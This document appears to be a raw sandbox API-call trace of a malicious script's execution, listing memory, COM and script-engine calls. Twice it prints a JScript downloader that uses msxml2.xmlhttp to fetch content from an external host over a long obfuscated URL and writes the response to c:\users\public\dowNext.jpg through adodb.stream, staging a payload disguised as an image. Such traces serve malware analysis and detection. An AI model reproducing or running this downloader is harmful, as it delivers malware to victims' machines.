[0202.755] CoCreateInstance (in: rclsid=0x65991fcc*(Data1=0x6c736db1, Data2=0xbd94, Data3=0x11d0, Data4=([0]=0x8a, [1]=0x23, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xb5, [6]=0x8e, [7]=0x10)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x65991f8c*(Data1=0x6c736dc1, Data2=0xab0d, Data3=0x11d0, Data4=([0]=0xa2, [1]=0xad, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x27, [7]=0xe8)), ppv=0x6368a5c | out: ppv=0x6368a5c*=0x769380) returned 0x0
[0202.756] IUnknown:AddRef (This=0x769380) returned 0x2
[0202.756] GetCurrentProcessId () returned 0x7a4
[0202.756] GetCurrentThreadId () returned 0x7a0
[0202.756] GetTickCount () returned 0x1ca48f2
[0202.756] ISystemDebugEventFire:BeginSession (This=0x769380, guidSourceID=0x65991fbc, strSessionName="VBScript:00001956:00001952:30034162") returned 0x0
[0203.275] GetCurrentThreadId () returned 0x7a0
[0203.275] GetCurrentThreadId () returned 0x7a0
[0203.275] malloc (_Size=0x28) returned 0x6358260
[0203.275] GetCurrentThreadId () returned 0x7a0
[0203.275] StrCmpICW (pszStr1="window", pszStr2="window") returned 0
[0203.275] malloc (_Size=0x88) returned 0x6358290
[0203.275] malloc (_Size=0x40) returned 0x6358320
[0203.276] malloc (_Size=0x104) returned 0x6358368
[0203.276] malloc (_Size=0x8) returned 0x6326d30
[0203.276] GetCurrentThreadId () returned 0x7a0
[0203.276] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0203.277] GetCurrentThreadId () returned 0x7a0
[0203.277] _wcsicmp (_String1="window", _String2="window") returned 0
[0203.277] realloc (_Block=0x0, _Size=0xc8) returned 0x6358478
[0203.277] _wcsicmp (_String1="", _String2="") returned 0
[0203.277] SysStringLen (param_1="Call nextLovePow(loveNextLove) : Call nextLovePow(karolLoadDoor)") returned 0x40
[0203.278] malloc (_Size=0x24) returned 0x6358548
[0203.278] malloc (_Size=0x804) returned 0x6358578
[0203.278] malloc (_Size=0x14c) returned 0x6358d88
[0203.278] malloc (_Size=0x1004) returned 0x6358ee0
[0203.279] malloc (_Size=0x104) returned 0x6359ef0
[0203.279] free (_Block=0x6358d88)
[0203.279] malloc (_Size=0x204) returned 0x635a000
[0203.279] malloc (_Size=0x40) returned 0x6358d88
[0203.279] malloc (_Size=0x1dc) returned 0x635a210
[0203.279] malloc (_Size=0x8) returned 0x6326ce0
[0203.279] free (_Block=0x6358ee0)
[0203.279] free (_Block=0x6358578)
[0203.279] free (_Block=0x6358548)
[0203.279] free (_Block=0x6358d88)
[0203.280] free (_Block=0x635a000)
[0203.280] free (_Block=0x6359ef0)
[0203.280] malloc (_Size=0x28) returned 0x6358548
[0203.280] malloc (_Size=0x18) returned 0x6368c90
[0203.280] malloc (_Size=0xc) returned 0x6327330
[0203.280] malloc (_Size=0x20) returned 0x6356648
[0203.280] ISystemDebugEventFire:IsActive (This=0x769380) returned 0x1
[0203.281] malloc (_Size=0x658) returned 0x6358578
[0203.281] GetCurrentThreadId () returned 0x7a0
[0203.281] GetCurrentThreadId () returned 0x7a0
[0203.599] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f0 | out: lpSystemTimeAsFileTime=0x630d7f0*(dwLowDateTime=0x77113a7f, dwHighDateTime=0x1d7e6dd))
[0203.599] GetTickCount () returned 0x1ca4c3e
[0203.605] malloc (_Size=0x178) returned 0x6358bd8
[0203.607] malloc (_Size=0xf8) returned 0x6358d58
[0203.607] malloc (_Size=0x174) returned 0x6358e58
[0203.607] malloc (_Size=0x78) returned 0x6358fd8
[0203.607] malloc (_Size=0x30) returned 0x6367f98
[0203.612] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x203000, flProtect=0x4) returned 0x9670000
[0203.613] malloc (_Size=0x98) returned 0x6359058
[0203.613] malloc (_Size=0x404) returned 0x63590f8
[0203.613] malloc (_Size=0xf8) returned 0x6359508
[0203.613] malloc (_Size=0x178) returned 0x6359608
[0203.613] malloc (_Size=0x80) returned 0x635b5b0
[0203.613] malloc (_Size=0xc8) returned 0x6359788
[0203.614] malloc (_Size=0xf8) returned 0x6359858
[0203.614] malloc (_Size=0x174) returned 0x6359958
[0203.614] malloc (_Size=0xf8) returned 0x6359ad8
[0203.723] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f8 | out: lpSystemTimeAsFileTime=0x630d7f8*(dwLowDateTime=0x7724312a, dwHighDateTime=0x1d7e6dd))
[0203.723] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0203.723] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1e) returned 0x6c64b0
[0203.723] GetCurrentThreadId () returned 0x7a0
[0203.723] _wcsicmp (_String1="window", _String2="window") returned 0
[0203.723] GetCurrentThreadId () returned 0x7a0
[0203.723] GetCurrentThreadId () returned 0x7a0
[0203.723] GetCurrentThreadId () returned 0x7a0
[0203.724] malloc (_Size=0x2c) returned 0x6368190
[0203.724] GetCurrentThreadId () returned 0x7a0
[0203.724] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0203.724] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0203.724] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0203.725] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f0 | out: lpSystemTimeAsFileTime=0x630d7f0*(dwLowDateTime=0x77247fed, dwHighDateTime=0x1d7e6dd))
[0203.725] GetTickCount () returned 0x1ca4cbb
[0203.739] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f8 | out: lpSystemTimeAsFileTime=0x630d7f8*(dwLowDateTime=0x7726a24a, dwHighDateTime=0x1d7e6dd))
[0203.739] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f0 | out: lpSystemTimeAsFileTime=0x630d7f0*(dwLowDateTime=0x7726a24a, dwHighDateTime=0x1d7e6dd))
[0203.739] GetTickCount () returned 0x1ca4cca
[0203.739] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f8 | out: lpSystemTimeAsFileTime=0x630d7f8*(dwLowDateTime=0x7726b5ea, dwHighDateTime=0x1d7e6dd))
[0203.739] GetCurrentThreadId () returned 0x7a0
[0203.739] GetCurrentThreadId () returned 0x7a0
[0203.740] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0203.740] GetProcAddress (hModule=0x76150000, lpProcName=0xa) returned 0x761692d0
[0203.740] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19ed68 | out: lpflOldProtect=0x19ed68*=0x4) returned 1
[0203.741] malloc (_Size=0x328) returned 0x6359bd8
[0203.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f0 | out: lpSystemTimeAsFileTime=0x630d7f0*(dwLowDateTime=0x77273de7, dwHighDateTime=0x1d7e6dd))
[0203.743] GetTickCount () returned 0x1ca4cca
[0203.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f8 | out: lpSystemTimeAsFileTime=0x630d7f8*(dwLowDateTime=0x77273de7, dwHighDateTime=0x1d7e6dd))
[0203.743] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1c) returned 0x76f778
[0203.743] GetCurrentThreadId () returned 0x7a0
[0203.743] _wcsicmp (_String1="window", _String2="window") returned 0
[0203.743] GetCurrentThreadId () returned 0x7a0
[0203.744] GetCurrentThreadId () returned 0x7a0
[0203.744] GetCurrentThreadId () returned 0x7a0
[0203.744] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0203.744] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0203.744] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0203.744] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f0 | out: lpSystemTimeAsFileTime=0x630d7f0*(dwLowDateTime=0x772764e2, dwHighDateTime=0x1d7e6dd))
[0203.744] GetTickCount () returned 0x1ca4cca
[0203.744] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f8 | out: lpSystemTimeAsFileTime=0x630d7f8*(dwLowDateTime=0x77277886, dwHighDateTime=0x1d7e6dd))
[0203.744] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f0 | out: lpSystemTimeAsFileTime=0x630d7f0*(dwLowDateTime=0x77277886, dwHighDateTime=0x1d7e6dd))
[0203.744] GetTickCount () returned 0x1ca4cca
[0203.745] SysStringLen (param_1="var dowYou = new ActiveXObject(\"msxml2.xmlhttp\");dowYou.open(\"GET\", \"http://winrentals2017b.com/tegz/Q277aG7FkN9pAcaWDfFlGNBeuaqGed8i/baWexTQoGyAAzLR/AU1XErrU1FitjjV8BBaQuem65smQXYvyd/64063/g6fJYLGHRVWp7s1tvHnZdv/XcjcYCjBX8tPaALshiDAx85PEq/cab3?ref=0t&WzOZ=9xyAidN&z3d9Ob0=EwAUkUUNyHsk&user=4Zky89n&cid=bE5YBOFyZvWHbGv9wPr7QVm&q=lYkgZNGYoZpu9\", false);dowYou.send();if(dowYou.status == 200){try{var girlLove = new ActiveXObject(\"adodb.stream\");girlLove.open;girlLove.type = 1;girlLove.write(dowYou.responsebody);girlLove.savetofile(\"c:\\\\users\\\\public\\\\dowNext.jpg\", 2);girlLove.close;}catch(e){}}") returned 0x254
[0203.745] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f8 | out: lpSystemTimeAsFileTime=0x630d7f8*(dwLowDateTime=0x77278bcc, dwHighDateTime=0x1d7e6dd))
[0203.745] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f0 | out: lpSystemTimeAsFileTime=0x630d7f0*(dwLowDateTime=0x77278bcc, dwHighDateTime=0x1d7e6dd))
[0203.745] GetTickCount () returned 0x1ca4cca
[0203.745] GetCurrentThreadId () returned 0x7a0
[0203.746] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0203.746] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0203.746] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0203.746] IsCharSpaceW (wch=0x67) returned 0
[0203.746] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0203.746] malloc (_Size=0x28) returned 0x6359f08
[0203.746] GetCurrentThreadId () returned 0x7a0
[0203.747] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0203.747] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0203.747] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0203.747] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0203.747] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0203.748] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0203.748] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x14) returned 0x74c750
[0203.748] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x800) returned 0x76f7d0
[0203.748] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x100) returned 0x76ffd8
[0203.748] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8) returned 0x6d4a20
[0203.748] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x6) returned 0x6d4a30
[0203.748] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0203.748] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x12) returned 0x74c630
[0203.749] memcpy_s (in: _Destination=0x74c638, _DestinationSize=0xa, _Source=0x76ffd8, _SourceSize=0xa | out: _Destination=0x74c638) returned 0x0
[0203.749] memcpy_s (in: _Destination=0x6d9714, _DestinationSize=0xa, _Source=0x74c638, _SourceSize=0xa | out: _Destination=0x6d9714) returned 0x0
[0203.749] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d4a30 | out: hHeap=0x6b0000) returned 1
[0203.749] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d4a20 | out: hHeap=0x6b0000) returned 1
[0203.749] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x74c630 | out: hHeap=0x6b0000) returned 1
[0203.749] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x74c750 | out: hHeap=0x6b0000) returned 1
[0203.749] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x76f7d0 | out: hHeap=0x6b0000) returned 1
[0203.749] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x76ffd8 | out: hHeap=0x6b0000) returned 1
[0203.749] SysStringLen (param_1="lave") returned 0x4
[0203.750] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xe) returned 0x755c68
[0203.750] GetCurrentThreadId () returned 0x7a0
[0203.750] _wcsicmp (_String1="window", _String2="window") returned 0
[0203.750] GetCurrentThreadId () returned 0x7a0
[0203.750] GetCurrentThreadId () returned 0x7a0
[0203.750] malloc (_Size=0x204) returned 0x6359f38
[0203.752] GetCurrentThreadId () returned 0x7a0
[0203.752] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0203.752] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0203.752] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0203.753] SysStringLen (param_1="var dowYou = new ActiveXObject(\"msxml2.xmlhttp\");dowYou.open(\"GET\", \"http://winrentals2017b.com/tegz/Q277aG7FkN9pAcaWDfFlGNBeuaqGed8i/baWexTQoGyAAzLR/AU1XErrU1FitjjV8BBaQuem65smQXYvyd/64063/g6fJYLGHRVWp7s1tvHnZdv/XcjcYCjBX8tPaALshiDAx85PEq/cab3?ref=0t&WzOZ=9xyAidN&z3d9Ob0=EwAUkUUNyHsk&user=4Zky89n&cid=bE5YBOFyZvWHbGv9wPr7QVm&q=lYkgZNGYoZpu9\", false);dowYou.send();if(dowYou.status == 200){try{var girlLove = new ActiveXObject(\"adodb.stream\");girlLove.open;girlLove.type = 1;girlLove.write(dowYou.responsebody);girlLove.savetofile(\"c:\\\\users\\\\public\\\\dowNext.jpg\", 2);girlLove.close;}catch(e){}}") returned 0x254
[0203.753] VirtualAlloc (lpAddress=0x736b000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x736b000
[0203.754] malloc (_Size=0x7c) returned 0x635bb88
[0203.754] VirtualAlloc (lpAddress=0x736d000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x736d000
[0203.754] malloc (_Size=0x22c) returned 0x635c400
[0203.754] malloc (_Size=0x804) returned 0x635c638
[0203.755] malloc (_Size=0x19c) returned 0x635ce48
[0203.755] malloc (_Size=0x30) returned 0x63681c8
[0203.755] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x3000, flProtect=0x4) returned 0x9690000
[0203.755] malloc (_Size=0x200) returned 0x635cff0
[0203.755] realloc (_Block=0x635cff0, _Size=0x400) returned 0x635cff0
[0203.756] malloc (_Size=0x1004) returned 0x635d3f8
[0203.756] wcscpy_s (in: _Destination=0x635d47c, _SizeInWords=0x7, _Source="dowYou" | out: _Destination="dowYou") returned 0x0
[0203.756] wcscpy_s (in: _Destination=0x635d48a, _SizeInWords=0x7, _Source="status" | out: _Destination="status") returned 0x0
[0203.756] wcscpy_s (in: _Destination=0x635d50c, _SizeInWords=0x9, _Source="girlLove" | out: _Destination="girlLove") returned 0x0
[0203.756] wcscpy_s (in: _Destination=0x635d51e, _SizeInWords=0x5, _Source="open" | out: _Destination="open") returned 0x0
[0203.756] wcscpy_s (in: _Destination=0x635d548, _SizeInWords=0x9, _Source="girlLove" | out: _Destination="girlLove") returned 0x0
[0203.756] wcscpy_s (in: _Destination=0x635d55a, _SizeInWords=0x5, _Source="type" | out: _Destination="type") returned 0x0
[0203.756] wcscpy_s (in: _Destination=0x635d5b4, _SizeInWords=0x7, _Source="dowYou" | out: _Destination="dowYou") returned 0x0
[0203.756] wcscpy_s (in: _Destination=0x635d5c2, _SizeInWords=0xd, _Source="responsebody" | out: _Destination="responsebody") returned 0x0
[0203.756] wcscpy_s (in: _Destination=0x635d674, _SizeInWords=0x9, _Source="girlLove" | out: _Destination="girlLove") returned 0x0
[0203.756] wcscpy_s (in: _Destination=0x635d686, _SizeInWords=0x6, _Source="close" | out: _Destination="close") returned 0x0
[0203.756] free (_Block=0x635cff0)
[0203.756] free (_Block=0x635ce48)
[0203.757] malloc (_Size=0x7c) returned 0x635b968
[0203.757] malloc (_Size=0xc) returned 0x63272a0
[0203.757] malloc (_Size=0xc) returned 0x6327318
[0203.757] malloc (_Size=0x10) returned 0x6327348
[0203.757] malloc (_Size=0x28) returned 0x635a148
[0203.757] free (_Block=0x6327348)
[0203.758] malloc (_Size=0x58) returned 0x635a178
[0203.758] free (_Block=0x635a148)
[0203.758] malloc (_Size=0x30) returned 0x6368510
[0203.758] free (_Block=0x635d3f8)
[0203.758] free (_Block=0x635c638)
[0203.758] free (_Block=0x635c400)
[0203.758] wcscpy_s (in: _Destination=0x735c2c0, _SizeInWords=0xa, _Source="eval code" | out: _Destination="eval code") returned 0x0
[0203.758] malloc (_Size=0x84) returned 0x635c400
[0203.758] VirtualAlloc (lpAddress=0x759f000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x759f000
[0203.759] malloc (_Size=0x90) returned 0x635c490
[0203.763] ResolveDelayLoadedAPI () returned 0x75192370
[0203.765] CLSIDFromProgIDEx (in: lpszProgID="msxml2.xmlhttp", lpclsid=0x199dc4 | out: lpclsid=0x199dc4*(Data1=0xf6d90f16, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4))) returned 0x0
[0203.771] ResolveDelayLoadedAPI () returned 0x7557c1b0
[0203.772] CoGetClassObject (in: rclsid=0x199dc4*(Data1=0xf6d90f16, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), dwClsContext=0x5, pvReserved=0x0, riid=0x6cf6d5c4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x199dbc | out: ppv=0x199dbc*=0x656267a8) returned 0x0
[0204.933] XMLHTTP:IUnknown:QueryInterface (in: This=0x656267a8, riid=0x6cf61b68*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x199db4 | out: ppvObject=0x199db4*=0x0) returned 0x80004002
[0204.933] XMLHTTP:IClassFactory:CreateInstance (in: This=0x656267a8, pUnkOuter=0x0, riid=0x6cf5a8ac*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x199e14 | out: ppvObject=0x199e14*=0x9873980) returned 0x0
[0205.080] XMLHTTP:IUnknown:Release (This=0x656267a8) returned 0x1
[0205.080] XMLHTTP:IUnknown:QueryInterface (in: This=0x9873980, riid=0x6cf61b38*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x199dbc | out: ppvObject=0x199dbc*=0x98739a4) returned 0x0
[0205.081] malloc (_Size=0xc) returned 0x6327348
[0205.081] XMLHTTP:IObjectWithSite:SetSite (This=0x98739a4, pUnkSite=0x6327348) returned 0x0
[0205.081] XMLHTTP:IUnknown:AddRef (This=0x6327348) returned 0x2
[0205.081] XMLHTTP:IUnknown:QueryInterface (in: This=0x6327348, riid=0x754c7490*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x199c30 | out: ppvObject=0x199c30*=0x0) returned 0x80004002
[0205.081] XMLHTTP:IUnknown:AddRef (This=0x6327348) returned 0x3
[0205.081] XMLHTTP:IUnknown:QueryInterface (in: This=0x6327348, riid=0x754c74b0*(Data1=0x39, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x199bc4 | out: ppvObject=0x199bc4*=0x0) returned 0x80004002
[0205.081] XMLHTTP:IUnknown:QueryInterface (in: This=0x6327348, riid=0x754c7460*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x199bcc | out: ppvObject=0x199bcc*=0x0) returned 0x80004002
[0205.081] XMLHTTP:IUnknown:QueryInterface (in: This=0x6327348, riid=0x754c7700*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x199bd0 | out: ppvObject=0x199bd0*=0x0) returned 0x80004002
[0205.081] XMLHTTP:IUnknown:QueryInterface (in: This=0x6327348, riid=0x754c76ac*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x199bc8 | out: ppvObject=0x199bc8*=0x0) returned 0x80004002
[0205.081] XMLHTTP:IUnknown:Release (This=0x6327348) returned 0x2
[0205.082] XMLHTTP:IUnknown:AddRef (This=0x6327348) returned 0x3
[0205.082] XMLHTTP:IUnknown:Release (This=0x6327348) returned 0x2
[0205.082] XMLHTTP:IUnknown:QueryInterface (in: This=0x6327348, riid=0x65626d14*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x199cd4 | out: ppvObject=0x199cd4*=0x6327348) returned 0x0
[0205.083] XMLHTTP:IUnknown:QueryInterface (in: This=0x6327348, riid=0x65629964*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x198c30 | out: ppvObject=0x198c30*=0x6327348) returned 0x0
[0205.083] XMLHTTP:IServiceProvider:QueryService (in: This=0x6327348, guidService=0x6562b1f4*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x65626d80*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x198c08 | out: ppvObject=0x198c08*=0x0) returned 0x80004002
[0205.083] GetCurrentThreadId () returned 0x7a0
[0205.083] GetCurrentThreadId () returned 0x7a0
[0205.083] GetCurrentThreadId () returned 0x7a0
[0205.084] XMLHTTP:IServiceProvider:QueryService (in: This=0x6327348, guidService=0x6562b1c4*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x6562b1c4*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x198c10 | out: ppvObject=0x198c10*=0x0) returned 0x80004002
[0205.084] GetCurrentThreadId () returned 0x7a0
[0205.084] GetCurrentThreadId () returned 0x7a0
[0205.084] GetCurrentThreadId () returned 0x7a0
[0205.084] XMLHTTP:IServiceProvider:QueryService (in: This=0x6327348, guidService=0x6562b1d4*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x6562b1e4*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x198c28 | out: ppvObject=0x198c28*=0x64083c0) returned 0x0
[0205.084] GetCurrentThreadId () returned 0x7a0
[0205.084] GetCurrentThreadId () returned 0x7a0
[0205.084] GetCurrentThreadId () returned 0x7a0
[0205.085] IHTMLDocument2:get_all (in: This=0x64083c0, p=0x198c38 | out: p=0x198c38*=0x6408958) returned 0x0
[0205.085] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0205.086] IHTMLElementCollection:get_length (in: This=0x6408958, p=0x198c24 | out: p=0x198c24*=10) returned 0x0
[0205.086] IHTMLElementCollection:item (in: This=0x6408958, name=0x198b98*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), index=0x198ba8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pdisp=0x198c0c | out: pdisp=0x198c0c*=0x642a9c0) returned 0x0
[0205.086] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0205.087] GetProcAddress (hModule=0x76150000, lpProcName=0x93) returned 0x76167260
[0205.087] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x1989fc | out: lpflOldProtect=0x1989fc*=0x4) returned 1
[0205.090] IUnknown:QueryInterface (in: This=0x642a9c0, riid=0x6562b19c*(Data1=0x3050f1ff, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), ppvObject=0x198c20 | out: ppvObject=0x198c20*=0x6408960) returned 0x0
[0205.090] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0205.091] IHTMLDocument2:get_forms (in: This=0x6408960, p=0x198c2c | out: p=0x198c2c*=0x76f5ec) returned 0x0
[0205.091] IUnknown:Release (This=0x6408960) returned 0x0
[0205.091] IUnknown:Release (This=0x642a9c0) returned 0x2
[0205.091] IHTMLElementCollection:item (in: This=0x6408958, name=0x198b98*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), index=0x198ba8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pdisp=0x198c0c | out: pdisp=0x198c0c*=0x642aa00) returned 0x0
[0205.092] IUnknown:QueryInterface (in: This=0x642aa00, riid=0x6562b19c*(Data1=0x3050f1ff, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), ppvObject=0x198c20 | out: ppvObject=0x198c20*=0x6408960) returned 0x0
[0205.092] IHTMLDocument2:get_forms (in: This=0x6408960, p=0x198c2c | out: p=0x198c2c*=0x76f5ec) returned 0x0
[0205.092] IUnknown:Release (This=0x6408960) returned 0x0
[0205.092] IUnknown:Release (This=0x642aa00) returned 0x1
[0205.092] IHTMLElementCollection:item (in: This=0x6408958, name=0x198b98*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), index=0x198ba8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pdisp=0x198c0c | out: pdisp=0x198c0c*=0x642aa40) returned 0x0
